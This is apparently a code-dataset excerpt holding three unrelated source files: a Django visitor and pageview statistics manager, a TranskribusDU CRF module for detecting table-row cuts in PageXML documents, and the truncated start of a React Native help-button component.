text
stringlengths 3
1.05M
|
|---|
from __future__ import division
from datetime import timedelta
from django.utils import timezone
from django.contrib.auth import get_user_model
from django.db import models
from django.db.models import Count, Avg
from tracking.settings import TRACK_PAGEVIEWS, TRACK_ANONYMOUS_USERS
from tracking.cache import CacheManager
class VisitorManager(CacheManager):
def active(self, registered_only=True):
"Returns all active users, e.g. not logged and non-expired session."
visitors = self.filter(
expiry_time__gt=timezone.now(),
end_time=None
)
if registered_only:
visitors = visitors.filter(user__isnull=False)
return visitors
def registered(self):
return self.get_queryset().filter(user__isnull=False)
def guests(self):
return self.get_queryset().filter(user__isnull=True)
def stats(self, start_date, end_date, registered_only=False):
"""Returns a dictionary of visits including:
* total visits
* unique visits
* return ratio
* pages per visit (if pageviews are enabled)
* time on site
for all users, registered users and guests.
"""
visitors = self.filter(
start_time__gte=start_date,
start_time__lt=end_date
)
stats = {
'total': 0,
'unique': 0,
'return_ratio': 0,
}
# All visitors
stats['total'] = total_count = visitors.count()
unique_count = 0
# No visitors! Nothing more to do.
if not total_count:
return stats
# Avg time on site
total_time_on_site = visitors.aggregate(
avg_tos=Avg('time_on_site'))['avg_tos']
stats['time_on_site'] = timedelta(seconds=int(total_time_on_site))
# Registered user sessions
registered_visitors = visitors.filter(user__isnull=False)
registered_total_count = registered_visitors.count()
if registered_total_count:
registered_unique_count = registered_visitors.values(
'user'
).distinct().count()
# Avg time on site
time_on_site = registered_visitors.aggregate(
avg_tos=Avg('time_on_site'))['avg_tos']
# Update the total unique count..
unique_count += registered_unique_count
# Set the registered stats..
returns = (registered_total_count - registered_unique_count)
stats['registered'] = {
'total': registered_total_count,
'unique': registered_unique_count,
'return_ratio': (returns / registered_total_count) * 100,
'time_on_site': timedelta(seconds=int(time_on_site)),
}
# Get stats for our guests..
if TRACK_ANONYMOUS_USERS and not registered_only:
guests = visitors.filter(user__isnull=True)
guest_total_count = guests.count()
if guest_total_count:
guest_unique_count = guests.values(
'ip_address'
).distinct().count()
# Avg time on site
guest_time_on_site = guests.aggregate(
avg_tos=Avg('time_on_site'))['avg_tos']
# return rate
returns = (guest_total_count - guest_unique_count)
return_ratio = (returns / guest_total_count) * 100
time_on_site = timedelta(seconds=int(guest_time_on_site))
else:
guest_total_count = 0
guest_unique_count = 0
return_ratio = 0.0
time_on_site = timedelta(0)
# Update the total unique count
unique_count += guest_unique_count
stats['guests'] = {
'total': guest_total_count,
'unique': guest_unique_count,
'return_ratio': return_ratio,
'time_on_site': time_on_site,
}
# Finish setting the total visitor counts
returns = (total_count - unique_count)
stats['unique'] = unique_count
stats['return_ratio'] = (returns / total_count) * 100
# If pageviews are being tracked, add the aggregate pages-per-visit
if TRACK_PAGEVIEWS:
if 'registered' in stats:
pages_per_visit = registered_visitors.annotate(
page_count=Count('pageviews')
).filter(page_count__gt=0).aggregate(
pages_per_visit=Avg('page_count'))['pages_per_visit']
stats['registered']['pages_per_visit'] = pages_per_visit
if TRACK_ANONYMOUS_USERS and not registered_only:
stats['guests']['pages_per_visit'] = guests.annotate(
page_count=Count('pageviews')
).filter(page_count__gt=0).aggregate(
pages_per_visit=Avg('page_count'))['pages_per_visit']
total_per_visit = visitors.annotate(
page_count=Count('pageviews')
).filter(page_count__gt=0).aggregate(
pages_per_visit=Avg('page_count'))['pages_per_visit']
else:
if 'registered' in stats:
total_per_visit = stats['registered']['pages_per_visit']
else:
total_per_visit = 0
stats['pages_per_visit'] = total_per_visit
return stats
def user_stats(self, start_date=None, end_date=None):
user_kwargs = {
'visit_history__start_time__lt': end_date,
}
visit_kwargs = {
'start_time__lt': end_date,
}
if start_date:
user_kwargs['visit_history__start_time__gte'] = start_date
visit_kwargs['start_time__gte'] = start_date
else:
user_kwargs['visit_history__start_time__isnull'] = False
visit_kwargs['start_time__isnull'] = False
users = list(get_user_model().objects.filter(**user_kwargs).annotate(
visit_count=Count('visit_history'),
time_on_site=Avg('visit_history__time_on_site'),
).filter(visit_count__gt=0).order_by(
'-time_on_site',
get_user_model().USERNAME_FIELD,
))
# Aggregate pageviews per visit
for user in users:
user.pages_per_visit = user.visit_history.filter(
**visit_kwargs
).annotate(
page_count=Count('pageviews')
).filter(page_count__gt=0).aggregate(
pages_per_visit=Avg('page_count'))['pages_per_visit']
# Lop off the floating point, turn into timedelta
user.time_on_site = timedelta(seconds=int(user.time_on_site))
return users
class PageviewManager(models.Manager):
def stats(self, start_date=None, end_date=None, registered_only=False):
"""Returns a dictionary of pageviews including:
* total pageviews
for all users, registered users and guests.
"""
pageviews = self.filter(
visitor__start_time__lt=end_date,
visitor__start_time__gte=start_date,
).select_related('visitor')
stats = {
'total': 0,
'unique': 0,
}
stats['total'] = total_views = pageviews.count()
unique_count = 0
if not total_views:
return stats
# Registered user sessions
registered_pageviews = pageviews.filter(visitor__user__isnull=False)
registered_count = registered_pageviews.count()
if registered_count:
registered_unique_count = registered_pageviews.values(
'visitor', 'url').distinct().count()
# Update the total unique count...
unique_count += registered_unique_count
stats['registered'] = {
'total': registered_count,
'unique': registered_unique_count,
}
if TRACK_ANONYMOUS_USERS and not registered_only:
guest_pageviews = pageviews.filter(visitor__user__isnull=True)
guest_count = guest_pageviews.count()
if guest_count:
guest_unique_count = guest_pageviews.values(
'visitor', 'url').distinct().count()
# Update the total unique count...
unique_count += guest_unique_count
stats['guests'] = {
'total': guest_count,
'unique': guest_unique_count,
}
# Finish setting the total visitor counts
stats['unique'] = unique_count
return stats
|
# -*- coding: utf-8 -*-
"""
DU task for ABP Table: doing jointly row BIESO and horizontal cuts
block2line edges do not cross another block.
The cut are based on baselines of text blocks.
- the labels of horizontal cuts are SIO (instead of SO in previous version)
Copyright Naver Labs Europe(C) 2018 JL Meunier
Developed for the EU project READ. The READ project has received funding
from the European Union's Horizon 2020 research and innovation programme
under grant agreement No 674943.
"""
import sys, os
import math
from lxml import etree
import collections
import numpy as np
from sklearn.pipeline import Pipeline, FeatureUnion
try: #to ease the use without proper Python installation
import TranskribusDU_version
except ImportError:
sys.path.append( os.path.dirname(os.path.dirname( os.path.abspath(sys.argv[0]) )) )
import TranskribusDU_version
from common.trace import traceln
from tasks import _checkFindColDir, _exit
from tasks.DU_CRF_Task import DU_CRF_Task
from xml_formats.PageXml import MultiPageXml
import graph.GraphModel
from crf.Edge import Edge, SamePageEdge
from crf.Graph_MultiPageXml import Graph_MultiPageXml
from crf.NodeType_PageXml import NodeType_PageXml_type_woText
#from crf.FeatureDefinition_PageXml_std_noText import FeatureDefinition_PageXml_StandardOnes_noText
from crf.FeatureDefinition import FeatureDefinition
from crf.Transformer import Transformer, TransformerListByType
from crf.Transformer import EmptySafe_QuantileTransformer as QuantileTransformer
from crf.Transformer_PageXml import NodeTransformerXYWH_v2, NodeTransformerNeighbors, Node1HotFeatures
from crf.Transformer_PageXml import Edge1HotFeatures, EdgeBooleanFeatures_v2, EdgeNumericalSelector
from crf.PageNumberSimpleSequenciality import PageNumberSimpleSequenciality
from tasks.DU_ABPTableCutAnnotator import BaselineCutAnnotator
class GraphCut(Graph_MultiPageXml):
"""
We specialize the class of graph because the computation of edges is quite specific
"""
#Cut stuff
#iModulo = 1 # map the coordinate to this modulo
fMinPageCoverage = 0.5 # minimal coverage to consider a GT table separator
iLineVisibility = 5 * 11 # a cut line sees other cut line up to N pixels downward
iBlockVisibility = 3*7*13 # a block sees neighbouring cut lines at N pixels
_lClassicNodeType = None
@classmethod
def setClassicNodeTypeList(cls, lNodeType):
"""
determine which type of node goes thru the classical way for determining
the edges (vertical or horizontal overlap, with occlusion, etc.)
"""
cls._lClassicNodeType = lNodeType
def parseDocFile(self, sFilename, iVerbose=0):
"""
Load that document as a CRF Graph.
Also set the self.doc variable!
Return a CRF Graph object
"""
self.doc = etree.parse(sFilename)
self.lNode, self.lEdge = list(), list()
self.lNodeBlock = [] # text node
self.lNodeCutLine = [] # cut line node
root = self.doc.getroot()
doer = BaselineCutAnnotator()
doer.setLabelScheme_SIO() #use SIO instead of SO labels!
#doer.setModulo(self.iModulo) # this is optional
#load the groundtruth table separators, if any, per page (1 in tABP)
ltlYlX = doer.get_separator_YX_from_DOM(root, self.fMinPageCoverage)
for (lHi, lVi) in ltlYlX:
traceln(" - found %d horizontal, %d vertical GT separators" % (len(lHi), len(lVi)))
#create DOM node reflecting the cuts
#first clean (just in case!)
n = doer.remove_cuts_from_dom(root)
if n > 0:
traceln(" - removed %d pre-existing cut lines" % n)
# if GT, then we have labelled cut lines in DOM
_ltlYCutXCut = doer.add_cut_to_DOM(root, ltlYlX=ltlYlX)
lClassicType = [nt for nt in self.getNodeTypeList() if nt in self._lClassicNodeType]
lSpecialType = [nt for nt in self.getNodeTypeList() if nt not in self._lClassicNodeType]
for (pnum, page, domNdPage) in self._iter_Page_DocNode(self.doc):
#now that we have the page, let's create the node for each type!
lClassicPageNode = [nd for nodeType in lClassicType for nd in nodeType._iter_GraphNode(self.doc, domNdPage, page) ]
lSpecialPageNode = [nd for nodeType in lSpecialType for nd in nodeType._iter_GraphNode(self.doc, domNdPage, page) ]
self.lNode.extend(lClassicPageNode) # e.g. the TextLine objects
self.lNodeBlock.extend(lClassicPageNode)
self.lNode.extend(lSpecialPageNode) # e.g. the cut lines!
self.lNodeCutLine.extend(lSpecialPageNode)
#no previous page to consider (for cross-page links...) => None
lClassicPageEdge = Edge.computeEdges(None, lClassicPageNode)
self.lEdge.extend(lClassicPageEdge)
# Now, compute edges between special and classic objects...
lSpecialPageEdge = self.computeSpecialEdges(lClassicPageNode,
lSpecialPageNode,
doer.bCutIsBeforeText)
self.lEdge.extend(lSpecialPageEdge)
#if iVerbose>=2: traceln("\tPage %5d %6d nodes %7d edges"%(pnum, len(lPageNode), len(lPageEdge)))
if iVerbose>=2:
traceln("\tPage %5d"%(pnum))
traceln("\t block: %6d nodes %7d edges (to block)" %(pnum, len(lClassicPageNode), len(lClassicPageEdge)))
traceln("\t line: %6d nodes %7d edges (from block)"%(pnum, len(lSpecialPageNode), len(lSpecialPageEdge)))
if iVerbose: traceln("\t\t (%d nodes, %d edges)"%(len(self.lNode), len(self.lEdge)) )
return self
@classmethod
def computeSpecialEdges(cls, lClassicPageNode, lSpecialPageNode):
"""
return a list of edges
"""
raise Exception("Specialize this method")
class Edge_BL(Edge):
"""Edge block-to-Line"""
pass
class Edge_LL(Edge):
"""Edge line-to-Line"""
pass
class GraphCut_H(GraphCut):
"""
Only horizontal cut lines
"""
def __init__(self):
self.showClassParam()
@classmethod
def showClassParam(cls):
try:
cls.bParamShownOnce
assert cls.bParamShownOnce == True
except:
#traceln(" - iModulo : " , cls.iModulo)
traceln(" - block_see_line : " , cls.iBlockVisibility)
traceln(" - line_see_line : " , cls.iLineVisibility)
traceln(" - fMinPageCoverage : " , cls.fMinPageCoverage)
cls.bParamShownOnce = True
def getNodeListByType(self, iTyp):
if iTyp == 0:
return self.lNodeBlock
else:
return self.lNodeCutLine
def getEdgeListByType(self, typA, typB):
if typA == 0:
if typB == 0:
return (e for e in self.lEdge if isinstance(e, SamePageEdge))
else:
return (e for e in self.lEdge if isinstance(e, Edge_BL))
else:
if typB == 0:
return []
else:
return (e for e in self.lEdge if isinstance(e, Edge_LL))
@classmethod
def computeSpecialEdges(self, lClassicPageNode, lSpecialPageNode,
bCutIsBeforeText):
"""
Compute:
- edges between each block and the cut line above/across/below the block
- edges between cut lines
return a list of edges
"""
#augment the block with the coordinate of its baseline central point
for blk in lClassicPageNode:
try:
x,y = BaselineCutAnnotator.getDomBaselineXY(blk.node)
blk.x_bslne = x
blk.y_bslne = y
except IndexError:
traceln("** WARNING: no Baseline in ", blk.domid)
traceln("** Using x2 and y2 instead... :-/")
blk.x_bslne = blk.x2
blk.y_bslne = blk.y2
for cutBlk in lSpecialPageNode:
assert cutBlk.y1 == cutBlk.y2
cutBlk.y1 = int(round(cutBlk.y1)) #DeltaFun make float
cutBlk.y2 = cutBlk.y1
#block to cut line edges
lEdge = []
for blk in lClassicPageNode:
for cutBlk in lSpecialPageNode:
if blk.y_bslne == cutBlk.y1:
edge = Edge_BL(blk, cutBlk)
edge.len = 0
edge._type = 0 # Cut line is crossing the block
lEdge.append(edge)
elif abs(blk.y_bslne - cutBlk.y1) <= self.iBlockVisibility:
edge = Edge_BL(blk, cutBlk)
# experiments show that abs helps
# edge.len = (blk.y_bslne - cutBlk.y1) / self.iBlockVisibility
edge.len = abs(blk.y_bslne - cutBlk.y1) / self.iBlockVisibility
edge._type = -1 if blk.y_bslne > cutBlk.y1 else +1
lEdge.append(edge)
#sort those edge from top to bottom
lEdge.sort(key=lambda o: o.B.y1) # o.B.y1 == o.B.y2 by construction
#now filter those edges
n0 = len(lEdge)
if False:
print("--- before filtering: %d edges" % len(lEdge))
lSortedEdge = sorted(lEdge, key=lambda x: x.A.domid)
for edge in lSortedEdge:
print("Block domid=%s y1=%s y2=%s yg=%s"%(edge.A.domid, edge.A.y1, edge.A.y2, edge.A.y_bslne)
+ " %s line %s "%(["↑", "-", "↓"][1+edge._type],
edge.B.y1)
+ "domid=%s y1=%s " %(edge.B.domid, edge.B.y1)
+str(id(edge))
)
lEdge = self._filterBadEdge(lEdge, lSpecialPageNode, bCutIsBeforeText)
traceln(" - filtering: removed %d edges due to obstruction." % (n0-len(lEdge)))
if False:
print("--- After filtering: %d edges" % len(lEdge))
lSortedEdge = sorted(lEdge, key=lambda x: x.A.domid)
print(len(lSortedEdge))
for edge in lSortedEdge:
print("Block domid=%s y1=%s y2=%s yg=%s"%(edge.A.domid, edge.A.y1, edge.A.y2, edge.A.y_bslne)
+ " %s line %s "%(["↑", "-", "↓"][1+edge._type],
edge.B.y1)
+ "domid=%s y1=%s " %(edge.B.domid, edge.B.y1)
+str(id(edge))
)
if self.iLineVisibility > 0:
# Cut line to Cut line edges
lSpecialPageNode.sort(key=lambda o: o.y1)
for i, A in enumerate(lSpecialPageNode):
for B in lSpecialPageNode[i+1:]:
if B.y1 - A.y1 <= self.iLineVisibility:
edge = Edge_LL(A, B)
edge.len = (B.y1 - A.y1) / self.iLineVisibility
assert edge.len >= 0
lEdge.append(edge)
else:
break
return lEdge
@classmethod
def _filterBadEdge(cls, lEdge, lCutLine, bCutIsBeforeText, fRatio=0.25):
"""
We get
- a list of block2Line edges
- a sorted list of cut line
But some block should not be connected to a line due to obstruction by
another blocks.
We filter out those edges...
return a sub-list of lEdge
"""
lKeepEdge = []
def _xoverlapSrcSrc(edge, lEdge):
"""
does the source node of edge overlap with the source node of any
edge of the list?
"""
A = edge.A
for _edge in lEdge:
if A.significantXOverlap(_edge.A, fRatio): return True
return False
def _yoverlapSrcSrc(edge, lEdge):
"""
does the source node of edge overlap with the source node of any
edge of the list?
"""
A = edge.A
for _edge in lEdge:
if A.significantYOverlap(_edge.A, fRatio): return True
return False
#there are two ways for dealing with lines crossed by a block
# - either it prevents another block to link to the line (assuming an x-overlap)
# - or not (historical way)
# THIS IS THE "MODERN" way!!
#check carefully the inequality below...
if bCutIsBeforeText == True:
keep1 = 0
keep2 = 1
else:
keep1 = -1
keep2 = 0
#take each line in turn
for ndLine in lCutLine:
#--- process downward edges
#TODO: index!
lDownwardAndXingEdge = [edge for edge in lEdge \
if edge._type > keep1 and edge.B == ndLine]
if lDownwardAndXingEdge:
#sort edge by source block from closest to line block to farthest
lDownwardAndXingEdge.sort(key=lambda o: ndLine.y1 - o.A.y_bslne)
lKeepDownwardEdge = [lDownwardAndXingEdge.pop(0)]
#now keep all edges whose source does not overlap vertically with
# the source of an edge that is kept
for edge in lDownwardAndXingEdge:
if not _xoverlapSrcSrc(edge, lKeepDownwardEdge):
lKeepDownwardEdge.append(edge)
lKeepEdge.extend(lKeepDownwardEdge)
#NOTHING to do for crossing edges: they should be in the list!
# #--- keep all crossing edges
# #TODO: index!
# lCrossingEdge = [edge for edge in lEdge \
# if edge._type == 0 and edge.B == ndLine]
#
# lKeepEdge.extend(lCrossingEdge)
#--- process upward edges
#TODO: index!
lUpwarAndXingdEdge = [edge for edge in lEdge \
if edge._type < keep2 and edge.B == ndLine]
if lUpwarAndXingdEdge:
#sort edge by source block from closest to line -block to farthest
lUpwarAndXingdEdge.sort(key=lambda o: o.A.y_bslne - ndLine.y2)
lKeepUpwardEdge = [lUpwarAndXingdEdge.pop(0)]
#now keep all edges whose source does not overlap vertically with
# the source of an edge that is kept
for edge in lUpwarAndXingdEdge:
if not _xoverlapSrcSrc(edge, lKeepUpwardEdge):
lKeepUpwardEdge.append(edge)
# now we keep only the edges, excluding the crossing ones
# (already included!!)
lKeepEdge.extend(edge for edge in lKeepUpwardEdge)
#--- and include the crossing ones (that are discarded
return lKeepEdge
#------------------------------------------------------------------------------------------------------
class CutLine_NodeTransformer_v2(Transformer):
"""
features of a Cut line:
- horizontal or vertical.
"""
def transform(self, lNode):
#We allocate TWO more columns to store in it the tfidf and idf computed at document level.
#a = np.zeros( ( len(lNode), 10 ) , dtype=np.float64) # 4 possible orientations: 0, 1, 2, 3
a = np.zeros( ( len(lNode), 6 ) , dtype=np.float64) # 4 possible orientations: 0, 1, 2, 3
for i, blk in enumerate(lNode):
page = blk.page
if abs(blk.x2 - blk.x1) > abs(blk.y1 - blk.y2):
#horizontal
v = 2*blk.y1/float(page.h) - 1 # to range -1, +1
a[i,0:3] = (1.0, v, v*v)
else:
#vertical
v = 2*blk.x1/float(page.w) - 1 # to range -1, +1
a[i,3:6] = (1.0, v, v*v)
return a
class Block2CutLine_EdgeTransformer(Transformer):
"""
features of a block to Cut line edge:
- below, crossing, above
"""
def transform(self, lEdge):
a = np.zeros( ( len(lEdge), 3 + 3 + 3) , dtype=np.float64) # 4 possible orientations: 0, 1, 2, 3
for i, edge in enumerate(lEdge):
z = 1 + edge._type # _type is -1 or 0 or 1
a[i, z] = 1.0
a[i, 3 + z] = edge.len # normalised on [0, 1] edge length
a[i, 6 + z] = edge.len * edge.len
return a
class CutLine2CutLine_EdgeTransformer(Transformer): # ***** USELESS *****
"""
features of a block to Cut line edge:
- below, crossing, above
"""
def transform(self, lEdge):
a = np.zeros( ( len(lEdge), 3 ) , dtype=np.float64)
for i, edge in enumerate(lEdge):
a[i,:] = (1, edge.len, edge.len * edge.len)
return a
class My_FeatureDefinition_v2(FeatureDefinition):
"""
Multitype version:
so the node_transformer actually is a list of node_transformer of length n_class
the edge_transformer actually is a list of node_transformer of length n_class^2
We also inherit from FeatureDefinition_T !!!
"""
n_QUANTILES = 16
def __init__(self, **kwargs):
"""
set _node_transformer, _edge_transformer, tdifNodeTextVectorizer
"""
FeatureDefinition.__init__(self)
nbTypes = self._getTypeNumber(kwargs)
block_transformer = FeatureUnion( [ #CAREFUL IF YOU CHANGE THIS - see cleanTransformers method!!!!
("xywh", Pipeline([
('selector', NodeTransformerXYWH_v2()),
#v1 ('xywh', StandardScaler(copy=False, with_mean=True, with_std=True)) #use in-place scaling
('xywh', QuantileTransformer(n_quantiles=self.n_QUANTILES, copy=False)) #use in-place scaling
])
)
, ("neighbors", Pipeline([
('selector', NodeTransformerNeighbors()),
#v1 ('neighbors', StandardScaler(copy=False, with_mean=True, with_std=True)) #use in-place scaling
('neighbors', QuantileTransformer(n_quantiles=self.n_QUANTILES, copy=False)) #use in-place scaling
])
)
, ("1hot", Pipeline([
('1hot', Node1HotFeatures()) #does the 1-hot encoding directly
])
)
])
Cut_line_transformer = CutLine_NodeTransformer_v2()
self._node_transformer = TransformerListByType([block_transformer, Cut_line_transformer])
edge_BB_transformer = FeatureUnion( [ #CAREFUL IF YOU CHANGE THIS - see cleanTransformers method!!!!
("1hot", Pipeline([
('1hot', Edge1HotFeatures(PageNumberSimpleSequenciality()))
])
)
, ("boolean", Pipeline([
('boolean', EdgeBooleanFeatures_v2())
])
)
, ("numerical", Pipeline([
('selector', EdgeNumericalSelector()),
#v1 ('numerical', StandardScaler(copy=False, with_mean=True, with_std=True)) #use in-place scaling
('numerical', QuantileTransformer(n_quantiles=self.n_QUANTILES, copy=False)) #use in-place scaling
])
)
] )
edge_BL_transformer = Block2CutLine_EdgeTransformer()
edge_LL_transformer = CutLine2CutLine_EdgeTransformer()
self._edge_transformer = TransformerListByType([edge_BB_transformer,
edge_BL_transformer,
edge_BL_transformer, # useless but required
edge_LL_transformer
])
self.tfidfNodeTextVectorizer = None #tdifNodeTextVectorizer
def fitTranformers(self, lGraph,lY=None):
"""
Fit the transformers using the graphs, but TYPE BY TYPE !!!
return True
"""
self._node_transformer[0].fit([nd for g in lGraph for nd in g.getNodeListByType(0)])
self._node_transformer[1].fit([nd for g in lGraph for nd in g.getNodeListByType(1)])
self._edge_transformer[0].fit([e for g in lGraph for e in g.getEdgeListByType(0, 0)])
self._edge_transformer[1].fit([e for g in lGraph for e in g.getEdgeListByType(0, 1)])
self._edge_transformer[2].fit([e for g in lGraph for e in g.getEdgeListByType(1, 0)])
self._edge_transformer[3].fit([e for g in lGraph for e in g.getEdgeListByType(1, 1)])
return True
class DU_ABPTableRCut(DU_CRF_Task):
"""
We will do a CRF model for a DU task
, with the below labels
"""
sXmlFilenamePattern = "*[0-9].mpxml"
iBlockVisibility = None
iLineVisibility = None
#=== CONFIGURATION ====================================================================
@classmethod
def getConfiguredGraphClass(cls):
"""
In this class method, we must return a configured graph class
"""
# Textline labels
# Begin Inside End Single Other
lLabels_BIESO = ['B', 'I', 'E', 'S', 'O']
# Cut lines:
# Border Ignore Separator Outside
lLabels_SIO_Cut = ['S', 'I', 'O']
#DEFINING THE CLASS OF GRAPH WE USE
DU_GRAPH = GraphCut_H
DU_GRAPH.iBlockVisibility = cls.iBlockVisibility
DU_GRAPH.iLineVisibility = cls.iLineVisibility
# ROW
ntR = NodeType_PageXml_type_woText("row"
, lLabels_BIESO
, None
, False
, BBoxDeltaFun=lambda v: max(v * 0.066, min(5, v/3))
)
ntR.setLabelAttribute("DU_row")
ntR.setXpathExpr( (".//pc:TextLine" #how to find the nodes
, "./pc:TextEquiv") #how to get their text
)
DU_GRAPH.addNodeType(ntR)
# HEADER
ntCutH = NodeType_PageXml_type_woText("sepH"
, lLabels_SIO_Cut
, None
, False
, None # equiv. to: BBoxDeltaFun=lambda _: 0
)
ntCutH.setLabelAttribute("type")
ntCutH.setXpathExpr( ('.//pc:CutSeparator[@orient="0"]' #how to find the nodes
, "./pc:TextEquiv") #how to get their text
)
DU_GRAPH.addNodeType(ntCutH)
DU_GRAPH.setClassicNodeTypeList( [ntR ])
return DU_GRAPH
def __init__(self, sModelName, sModelDir,
iBlockVisibility = None,
iLineVisibility = None,
sComment = None,
C=None, tol=None, njobs=None, max_iter=None,
inference_cache=None):
DU_ABPTableRCut.iBlockVisibility = iBlockVisibility
DU_ABPTableRCut.iLineVisibility = iLineVisibility
DU_CRF_Task.__init__(self
, sModelName, sModelDir
, dFeatureConfig = {'row_row':{}, 'row_sepH':{},
'sepH_row':{}, 'sepH_sepH':{},
'sepH':{}, 'row':{}}
, dLearnerConfig = {
'C' : .1 if C is None else C
, 'njobs' : 4 if njobs is None else njobs
, 'inference_cache' : 50 if inference_cache is None else inference_cache
#, 'tol' : .1
, 'tol' : .05 if tol is None else tol
, 'save_every' : 50 #save every 50 iterations,for warm start
, 'max_iter' : 10 if max_iter is None else max_iter
}
, sComment=sComment
#,cFeatureDefinition=FeatureDefinition_PageXml_StandardOnes_noText
,cFeatureDefinition=My_FeatureDefinition_v2
)
#TODO: finish this!
def evalClusterByRow(self, sFilename):
"""
Evaluate the quality of the partitioning by table row, by comparing the
GT table information to the partition done automatically (thanks to the
separators added to the DOM).
"""
self.doc = etree.parse(sFilename)
root = self.doc.getroot()
# doer = BaselineCutAnnotator()
#
# #load the groundtruth table separators, if any, per page (1 in tABP)
# ltlYlX = doer.get_separator_YX_from_DOM(root, self.fMinPageCoverage)
# for (lHi, lVi) in ltlYlX:
# traceln(" - found %d horizontal, %d vertical GT separators" % (len(lHi), len(lVi)))
# #create DOM node reflecting the cuts
# #first clean (just in case!)
# n = doer.remove_cuts_from_dom(root)
# if n > 0:
# traceln(" - removed %d pre-existing cut lines" % n)
#
# # if GT, then we have labelled cut lines in DOM
# _ltlYCutXCut = doer.add_cut_to_DOM(root, ltlYlX=ltlYlX)
lClassicType = [nt for nt in self.getNodeTypeList() if nt in self._lClassicNodeType]
lSpecialType = [nt for nt in self.getNodeTypeList() if nt not in self._lClassicNodeType]
#load the block nodes per page
for (pnum, page, domNdPage) in self._iter_Page_DocNode(self.doc):
#now that we have the page, let's create the node for each type!
lClassicPageNode = [nd for nodeType in lClassicType for nd in nodeType._iter_GraphNode(self.doc, domNdPage, page) ]
lSpecialType = [nt for nt in self.getNodeTypeList() if nt not in self._lClassicNodeType]
# -- GT ---------------------------------------------
# partition by columns ad rows
dGTByRow = collections.defaultdict(list)
dGTByCol = collections.defaultdict(list)
for blk in lClassicPageNode:
cell = MultiPageXml.getAncestorByName(blk, 'TableCell')[0]
row, col, rowSpan, colSpan = [int(cell.get(sProp)) for sProp \
in ["row", "col", "rowSpan", "colSpan"] ]
# TODO: deal with span
dGTByRow[row].append(blk)
dGTByCol[col].append(col)
for k,l in dGTByRow.items:
l.sort(key=lambda o: (o.x1, o.y1))
for k,l in dGTByCol.items:
l.sort(key=lambda o: (o.y1, o.x1))
# -- Prediction ---------------------------------------------
# if options.bBaseline:
# self.bsln_mdl = self.addBaseline_LogisticRegression() #use a LR model trained by CutSearch as baseline
#=== END OF CONFIGURATION =============================================================
# def predict(self, lsColDir):
# """
# Return the list of produced files
# """
# self.sXmlFilenamePattern = "*.mpxml"
# return DU_CRF_Task.predict(self, lsColDir)
#
# def runForExternalMLMethod(self, lsColDir, storeX, applyY, bRevertEdges=False):
# """
# Return the list of produced files
# """
# self.sXmlFilenamePattern = "*.mpxml"
# return DU_CRF_Task.runForExternalMLMethod(self, lsColDir, storeX, applyY, bRevertEdges)
# ----------------------------------------------------------------------------
def main(sModelDir, sModelName, options):
doer = DU_ABPTableRCut(sModelName, sModelDir,
iBlockVisibility = options.iBlockVisibility,
iLineVisibility = options.iLineVisibility,
C = options.crf_C,
tol = options.crf_tol,
njobs = options.crf_njobs,
max_iter = options.max_iter,
inference_cache = options.crf_inference_cache)
if options.rm:
doer.rm()
return
lTrn, lTst, lRun, lFold = [_checkFindColDir(lsDir, bAbsolute=False) for lsDir in [options.lTrn, options.lTst, options.lRun, options.lFold]]
# if options.bAnnotate:
# doer.annotateDocument(lTrn)
# traceln('annotation done')
# sys.exit(0)
traceln("- classes: ", doer.getGraphClass().getLabelNameList())
## use. a_mpxml files
#doer.sXmlFilenamePattern = doer.sLabeledXmlFilenamePattern
if options.iFoldInitNum or options.iFoldRunNum or options.bFoldFinish:
if options.iFoldInitNum:
"""
initialization of a cross-validation
"""
splitter, ts_trn, lFilename_trn = doer._nfold_Init(lFold, options.iFoldInitNum, bStoreOnDisk=True)
elif options.iFoldRunNum:
"""
Run one fold
"""
oReport = doer._nfold_RunFoldFromDisk(options.iFoldRunNum, options.warm, options.pkl)
traceln(oReport)
elif options.bFoldFinish:
tstReport = doer._nfold_Finish()
traceln(tstReport)
else:
assert False, "Internal error"
#no more processing!!
exit(0)
#-------------------
if lFold:
loTstRpt = doer.nfold_Eval(lFold, 3, .25, None, options.pkl)
sReportPickleFilename = os.path.join(sModelDir, sModelName + "__report.txt")
traceln("Results are in %s"%sReportPickleFilename)
graph.GraphModel.GraphModel.gzip_cPickle_dump(sReportPickleFilename, loTstRpt)
elif lTrn:
doer.train_save_test(lTrn, lTst, options.warm, options.pkl)
try: traceln("Baseline best estimator: %s"%doer.bsln_mdl.best_params_) #for CutSearch
except: pass
traceln(" --- CRF Model ---")
traceln(doer.getModel().getModelInfo())
elif lTst:
doer.load()
tstReport = doer.test(lTst)
traceln(tstReport)
if options.bDetailedReport:
traceln(tstReport.getDetailledReport())
sReportPickleFilename = os.path.join(sModelDir, sModelName + "__detailled_report.txt")
graph.GraphModel.GraphModel.gzip_cPickle_dump(sReportPickleFilename, tstReport)
if lRun:
if options.storeX or options.applyY:
try: doer.load()
except: pass #we only need the transformer
lsOutputFilename = doer.runForExternalMLMethod(lRun, options.storeX, options.applyY, options.bRevertEdges)
else:
doer.load()
lsOutputFilename = doer.predict(lRun)
traceln("Done, see in:\n %s"%lsOutputFilename)
# ----------------------------------------------------------------------------
if __name__ == "__main__":
version = "v.01"
usage, description, parser = DU_CRF_Task.getBasicTrnTstRunOptionParser(sys.argv[0], version)
# parser.add_option("--annotate", dest='bAnnotate', action="store_true",default=False, help="Annotate the textlines with BIES labels")
#FOR GCN
parser.add_option("--revertEdges", dest='bRevertEdges', action="store_true", help="Revert the direction of the edges")
parser.add_option("--detail", dest='bDetailedReport', action="store_true", default=False,help="Display detailed reporting (score per document)")
parser.add_option("--baseline", dest='bBaseline', action="store_true", default=False, help="report baseline method")
parser.add_option("--line_see_line", dest='iLineVisibility', action="store",
type=int, default=0,
help="seeline2line: how far in pixel can a line see another cut line?")
parser.add_option("--block_see_line", dest='iBlockVisibility', action="store",
type=int, default=273,
help="seeblock2line: how far in pixel can a block see a cut line?")
# ---
#parse the command line
(options, args) = parser.parse_args()
# ---
try:
sModelDir, sModelName = args
except Exception as e:
traceln("Specify a model folder and a model name!")
_exit(usage, 1, e)
main(sModelDir, sModelName, options)
|
import React, { Component } from "react";
import { TouchableOpacity, View } from "react-native";
import Icon from "react-native-dynamic-vector-icons";
/**
* ? Local Imports
*/
import colors from "../styles/colors";
import styles from "./MiniButton.style";
import { shadowStyle } from "../styles/shared.style";
export default class MiniButton extends Component {
render() {
const { style, color } = this.props;
return (
<TouchableOpacity
style={style || styles.miniIconStyle}
onPress={() => {}}
>
<View>
<Icon
size={40}
name="help-circle"
type="MaterialCommunityIcons"
color={color || colors.theme.light.primary}
shadowStyle={shadowStyle.buttonStyle}
/>
</View>
